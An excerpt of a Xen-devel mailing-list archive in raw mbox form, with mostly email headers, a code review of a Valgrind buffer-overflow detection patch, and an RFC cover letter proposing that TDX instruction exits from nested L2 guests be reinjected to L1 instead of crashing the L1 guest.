@@ -306,6 +306,9 @@ enum
     TLB_CTRL_FLUSH_ASID_NONGLOBAL = 7,
 };
 
+#define SVM_EVENT_INJ_VEC_MASK     0xff
+#define SVM_EVENT_INJ_TYPE_MASK    0x7
+
 typedef union
 {
     struct
-- 
2.53.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 13:38:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 13:38:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363101.1614925 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzp8-00068Q-9Q; Wed, 15 Jul 2026 13:38:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363101.1614925; Wed, 15 Jul 2026 13:38:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzp8-00068J-6b; Wed, 15 Jul 2026 13:38:54 +0000
Received: by outflank-mailman (input) for mailman id 1363101;
 Wed, 15 Jul 2026 13:38:53 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wjzp6-00068B-US
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:38:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjzp6-00BAsi-7S
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 15:38:52 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a578d69-5cb7-0a2a0a5109dd-0a2a4503d74a-6
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:38:52 +0200
Received: from [52.101.193.31]
 (helo=CH1PR05CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a578d6a-fae8-0a2a45030019-3465c11fc530-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:38:51 +0200
Received: from DS7PR03MB8265.namprd03.prod.outlook.com (2603:10b6:8:266::20)
 by PH0PR03MB6336.namprd03.prod.outlook.com (2603:10b6:510:bf::13) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.11; Wed, 15 Jul
 2026 13:38:46 +0000
Received: from DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2]) by DS7PR03MB8265.namprd03.prod.outlook.com
 ([fe80::419e:bddf:320e:a1d2%4]) with mapi id 15.21.0223.008; Wed, 15 Jul 2026
 13:38:46 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ueOIckZdEtR/gOBT0IrME+3hwKnxOHl731xh1DBltLk0Iigm2R8lM193pme71MzvVmBBtZxtqkbyJKfN8N2bR1UhiDVGQepgwZcreCemtBOteNgrXvpLWJWbopD43PF28ymoyGy7kc7UAkLeQ1KfnZDi7Igs0/HYcQakE0WsaOhSLhTbGEn/ShwjyVT6sShHazwEXwWfo4zhS027RvkNNWnbtm87XGnAwJHu18XvnME1uvEqZzvQK/XoQoqOeUil97v4VlI5J2EufE8jX2/Ut/SUoFYZME8lJHuj1TTKpJFwq50l8Ka6sYaFGf75hSV49Cpf6ZIJe6crzOZGJoeseQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=WE6rxWidoQX4WeHszNLS7ODqrTNA38kasOCFHMnPUvk=;
 b=cxeXt0GK1XL5wHRfvbzlaD/V6VjkqQ1oL+sLET9jqNaE16eetEh6uioreu9Gb9KeWSnf7CU6ZZ3h1r3GSf4xSlaVswbpSmWYEq6PGsxd6cbFVZ6GaAH6ru9rAbB9wmufu+ihZMcre/R2Y27BMre+20pwMkGTxntnLOc1/dvmXfBdgyMV4xiGnMO31X2dvWUiwKK3f/prX6z/ow24xsAIUCUYX5DQ8mGfufAcYMN7I2HOqXYFMU3CUAJi1+fDpgMDTC24PG7ufkaBV739Acs4+Qc7/S7RK+3WWd1zf6udqygp4f8E0iqPgoeRfCkN7LClL4WD6ZDMPEyacU6oNKVjig==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=WE6rxWidoQX4WeHszNLS7ODqrTNA38kasOCFHMnPUvk=;
 b=dHqYzneZuoj/hrnGWKibprt67xq/rQCUqaL4EmYM1tLiX7tJfETv+etBLZBB3gs06uCi4EjZdrk6L4uCTK4CFJbGH42tcKE2mBgpFElPyZDMLEMY3d8rgmflt2YgfVimflnCwRl+wHgxozb579RcpfBZLPf2uZr5r9d+ZSSqF7U=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <1f4c1217-ee5d-40fb-acfa-057b53a8dae0@citrix.com>
Date: Wed, 15 Jul 2026 14:38:42 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich
 <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>, Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v9 4/4] libs/guest: use Valgrind to detect various buffer
 overflows
To: Frediano Ziglio <freddy77@gmail.com>, xen-devel@lists.xenproject.org
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
 <20260713204802.105115-5-frediano.ziglio@citrix.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/q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rVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260713204802.105115-5-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0434.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:1a9::7) To DS7PR03MB8265.namprd03.prod.outlook.com
 (2603:10b6:8:266::20)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS7PR03MB8265:EE_|PH0PR03MB6336:EE_
X-MS-Office365-Filtering-Correlation-Id: 1a808edc-0860-4378-c757-08dee2766529
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|6133799003|56012099006|11063799006|4143699003|10067099003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	xSuKO7Jtcd6a6WF6tJ1KEF/bJO6qUC1UrYLYOtSro02Z/MCp0mIJwf80+LHZs5G3oEVvcM8CWN+8Lf5jJYOVKA72KIBn6eyYuIqzUR5vfDOmR+RqMU1IanX1FUNkt74KgXhopsxYJ1C0UZkK2a70ERv36nvFQgtLPn2xFj87GItrGEQp6jx0CcmklxagEMnJ+FGK38FWMP9qzR4QPkDzSX6lYF+R6CjdITsvzcuOMFc7xe9+zd1CnChh3A1hCibvz+bITn6vDXAJSQuwIEgcnb9bO4SWdicOYwlWruklhcCr5rsoi5IyM2UEyjaejf1/tSSS3bE5rstqcRqrszr6Qr+gfW6y7fIWjSI5DXi9cRqq3hfH0ccsJ9Tzx1snAJUhz+E2+An1N7yOoGfBaWPW2Ivhf9mpSPhfhE8ERmomNgSrja91Z0fkgaIC5mKG+9usDyBCSw2MSXS93zDmN4yELn8uYxc2s51helUj/hU3e6cnrBzfQXL31ote0hLDvouhSEsIudxhAPicW3dd7zPPkvzqzysfwdjuu8nbHwZKj/m7G5FvCHnXUCF6DIIF9KcUkAfws1wZFkWwECoOLA/tiiXioDsDFscuZUjGFPKjfULnGbYvIjWuo7ieKZmGB7mNsZkB2s+E99sYY9skK45Bgc5kPlsGqoOyMLh2NqnEIAM=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:DS7PR03MB8265.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(6133799003)(56012099006)(11063799006)(4143699003)(10067099003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?OUtXLzNhdW0yK2JuVFE3NDNxWmJVMXl4UGZvTTJ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SjhxMi9oRThZYWpRK3RRa1JxaURHOEdsdGdWTG5KaCt6L052WW5O?=
 =?utf-8?B?VnA5QXdZQmMrbmZpbFB1d3FCaEh1c2FReEpYRmxmYjYrbWtEblBjSXFjcHEv?=
 =?utf-8?B?V2JmTVY4bVM4ZktnSktFQllrdktmWTZUcUN6OGhtSytvREpNcDhIVnhNL1FG?=
 =?utf-8?B?ZWtheTNqOVlqUHBMZXZtK055SHVxL2tzM2U3YjhYc21zUU41R05qSlN6YnV1?=
 =?utf-8?B?WGFWanlQK2x1VXNlaUtua2lMNGp5dWE4cXRFOGxOQVhLNWdSWVF6VFdSRFdD?=
 =?utf-8?B?aHN4b084cWZQNkx5c2Nhb0VReW5xYmYwT29CTm14Y0VCZ0FXeUpITGNzTmgw?=
 =?utf-8?B?MVYyOVFFUTcxWnVFKzR5Nm5BZit4RW5pZVYrbFk1NHRlRWMzbHQxRUhPUHc3?=
 =?utf-8?B?NDhuczg2dTdKanVyZmt4WGFMeXFabllDWmZhSW9Sczl4SUlXWnF1RHp6T0NE?=
 =?utf-8?B?RmlWUThQWVdwOTdEdG5tLzZQalJDSGRSVExCdW5sZSs2dlJ5M2xyVytkSzZZ?=
 =?utf-8?B?Q1RWY2p4OFRHVGNNWTBWK2swaUt0QkZUL2FLYzJiSFA2TDhCYUVmbGZ3MndS?=
 =?utf-8?Q?xn/yczqX5cfb4SOw=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 1a808edc-0860-4378-c757-08dee2766529
X-MS-Exchange-CrossTenant-AuthSource: DS7PR03MB8265.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 15 Jul 2026 13:38:46.6072
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: vSUQ5dM0/8ol38VCgTrW0A5INIZ4W0QJvJgVHS96oTZW6tFUuCcsyuThgVBhfwyJMzZPuQgLMmFeqr1FxBs1rZMqoNCyTZFomujhBGbxqEM=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH0PR03MB6336
X-purgate-ID: tlsNG-33051d/1784122732-758824E9-4E1CA886/0/0
X-purgate-type: clean
X-purgate-size: 1723

On 13/07/2026 9:48 pm, Frediano Ziglio wrote:
> diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
> index c07c6db59e..d3fc7f363e 100644
> --- a/tools/libs/guest/xg_sr_common.h
> +++ b/tools/libs/guest/xg_sr_common.h
> @@ -245,13 +245,21 @@ struct xc_sr_context
>              xc_hypercall_buffer_t dirty_bitmap_hbuf;
>              struct xc_sr_context_save_buffers
>              {
> +                MEM_NOACCESS_BUFFER(na0, 16);
>                  xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na1, 16);
>                  xen_pfn_t mfns[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na2, 16);
>                  xen_pfn_t types[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na3, 16);
>                  void *local_pages[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na4, 16);
>                  struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
> +                MEM_NOACCESS_BUFFER(na5, 16);
>                  uint64_t rec_pfns[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na6, 16);
>                  int errors[MAX_BATCH_SIZE];
> +                MEM_NOACCESS_BUFFER(na7, 16);

If you're going to do this, use 64 not 16, and put iov[] at the end.Â  It
is good practice to misalign large buffers by one cacheline, not that I
suspect the access pattern in this algorithm is relevant.

But, I'm not sure of the utility of doing this.Â  By removing the dynamic
allocations you also prevent ASAN from working.

We either care about them all (and keep the dynamic allocations), or
don't care, and get rid of it all.Â  This half-way-house serves no good
purpose.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 13:39:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 13:39:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363113.1614933 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzpq-0006ew-KL; Wed, 15 Jul 2026 13:39:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363113.1614933; Wed, 15 Jul 2026 13:39:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzpq-0006ep-Hi; Wed, 15 Jul 2026 13:39:38 +0000
Received: by outflank-mailman (input) for mailman id 1363113;
 Wed, 15 Jul 2026 13:39:37 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@swg.vates.tech>)
 id 1wjzpp-0006cw-Nh
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:39:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjzpp-004YXE-4R
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 15:39:37 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@swg.vates.tech>)
 id 6a578d92-5cb7-0a2a0a5109dd-0a2a45059218-14
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:39:37 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@swg.vates.tech>)
 id 6a578d98-4cb1-0a2a45050019-b9ff1c23a93d-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:39:37 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f66010afa000edb5.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 13:39:32 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 73E3E8238B;
 Wed, 15 Jul 2026 15:39:31 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=d8HOKesRg7+u2RNJ15DXUeICrSBaG7VCp9ZN1Lsp1dA=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=jDnDk7Pj2KVOoJuvKJB/8JbCbUFoQVTDQJXSsLPrZOLyLDrAT7/ht3mvU6KEVRjDC8CMlAE2C
 FE844hGWHz9OtZqw00C/i7a33WGdC4FnyiQVrDh+kqlhvjQmdkrigB3P16EV2w+sBd58qAaWgtX
 fmCj7nmF6XYiX6HHO/nz2wyG2Ub0cHtEMuXriwIIH81i02rbkVITJn5ruqU/1Hiq4uLEWT45o0F
 Y6HKJataQyL0GuxOB3a7rCTcBA5JTbf3XvxjgXbdsZsZKUfO/23aLjH0r59BZt8DZBGmoMrCB4v
 1PShPiAmfoMID4ndiioEmNFuFmFXnKouATNuEPu5sNhg==
X-Zone-Loop: bda43f2ba9cee3b97782477fdaed3894d01644c65831
x-campaign-type: default
x-transaction-id: e7fa47a8-4105-4295-a9fb-bcfc82e3d741
x-swg-uid: 01-36f729c9-5dde-44ac-b4de-e9776a21f68d
X-Mailer: Sweego
Message-ID:
 <1784122772.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5@vates.tech>
x-swg-bid: 1784122772.8631fc262581453bbf619ec5b2062170.19f66010afa000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [RFC PATCH 0/2] vvmx: Reinject L2 TDX exit reasons to L1 instead of crashing L1
Date: Wed, 15 Jul 2026 15:38:25 +0200
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.88e.e304df691848a237.19f66010898.e0e7072a90765b3d=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1784122771612
X-purgate-ID: tlsNG-c201ff/1784122777-F7EB92A1-E15E4E2A/0/0
X-purgate-type: clean
X-purgate-size: 1501

---=Part.88e.e304df691848a237.19f66010898.e0e7072a90765b3d=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On hardware that support TDX, guests performing SEAMCALL or TDCALL causes a
VMEXIT(SEAMCALL) or VMEXIT(TDCALL) regardless of VMCS configuration (there
is no flag to opt-out these VMEXIT)=2E

This instruction can only be called in a guest with CPL =3D 0 [1], thus it=
 cannot be
leveraged from guest userland to crash the entire guest=2E However, it can=
 still be
used by a L2 guest kernel space to crash the L1 as such exit reason is unh=
andled
which defaults to crashing the entire domain=2E

RFC: I don't have access to hardware that supports TDX to test it; and I'm=
 not
sure this is enough given that some other instructions may exhibit similar
issues; but these 2 ones in particular don't seem to have a opt-out=2E

[1] https://lore=2Ekernel=2Eorg/all/20251016182148=2E69085-2-seanjc@google=
=2Ecom/

Teddy Astie (2):
  vmx: Introduce TDX instruction exit reasons
  vvmx: Reinject TDX instruction exit reasons to L1 when emitted by L2

 xen/arch/x86/hvm/vmx/vvmx=2Ec            | 2 ++
 xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh | 2 ++
 xen/arch/x86/include/asm/perfc_defn=2Eh  | 2 +-
 3 files changed, 5 insertions(+), 1 deletion(-)

--=20
2=2E54=2E0



-- 
 | Vates 

XCP-ng & Xen Orchestra - Vates solutions

web: https://vate=
s=2Etech
---=Part.88e.e304df691848a237.19f66010898.e0e7072a90765b3d=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 15 13:40:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 13:40:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363136.1614943 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzqu-00089U-V4; Wed, 15 Jul 2026 13:40:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363136.1614943; Wed, 15 Jul 2026 13:40:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjzqu-00089N-Re; Wed, 15 Jul 2026 13:40:44 +0000
Received: by outflank-mailman (input) for mailman id 1363136;
 Wed, 15 Jul 2026 13:40:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f66020908000edb5@swg.vates.tech>)
 id 1wjzqt-00089B-LB
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 13:40:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjzqt-003NjP-1B
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 15:40:43 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f66020908000edb5@swg.vates.tech>)
 id 6a578dd8-5cb7-0a2a0a5109dd-0a2a4508a26e-12
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:40:42 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f66020908000edb5@swg.vates.tech>)
 id 6a578dda-f659-0a2a45080019-b9ff1c23a4e7-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 15:40:42 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f66020908000edb5.003 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 15 Jul 2026 13:40:37 +0000
Received: from localhost.localdomain (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id AA2DD822E4;
 Wed, 15 Jul 2026 15:40:36 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=yS8vP9GnZ+0xzLEsAjUUqVtirNGe6IX+4wuf965rsU4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=smY0Ldhnlt0ju/On5OIt31R5Kw9oUICBAsZGDGknbPWOHnkuGGLlgwE1LAiZBZDuWsEwT5qPI
 h25YwMzaaVMokqqroeCQ3ZAFqvCZZV8NrzgqP8iCwTR+F0Dhxy3g042+tR3pQiE0c5Cs0D+6Kh2
 sHxxoSZ8SbyWlmDrMX2PvWcSq2JOEYU7PY2a8pBRJ2J0DsQp7qL59Gdnf7TNXCwkGfKgjrVY91M
 7AyfnYB/7Ex9/SVoatD9GkXi5ePK5/234gdwNu6/s+apocXgybQgv+l//2TyI198u/M+z1xqyzn
 HXMcrEN7W+CHpYi1mjX0+dBiXUKOzOBpHodR2HZc+xWQ==
X-Zone-Loop: 75f535aa9b00bfc878f48229354b4a8eeeee1c4f8d6e
x-campaign-type: default
x-transaction-id: 81b0573a-b0e7-4e75-ae9f-289fadeb2a04
x-swg-uid: 01-eb049795-afce-4da2-a5f4-e6cb1b6d9d17
X-Mailer: Sweego
Message-ID:
 <1784122837.8631fc262581453bbf619ec5b2062170.19f66020908000edb5@vates.tech>
x-swg-bid: 1784122837.8631fc262581453bbf619ec5b2062170.19f66020908000edb5
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
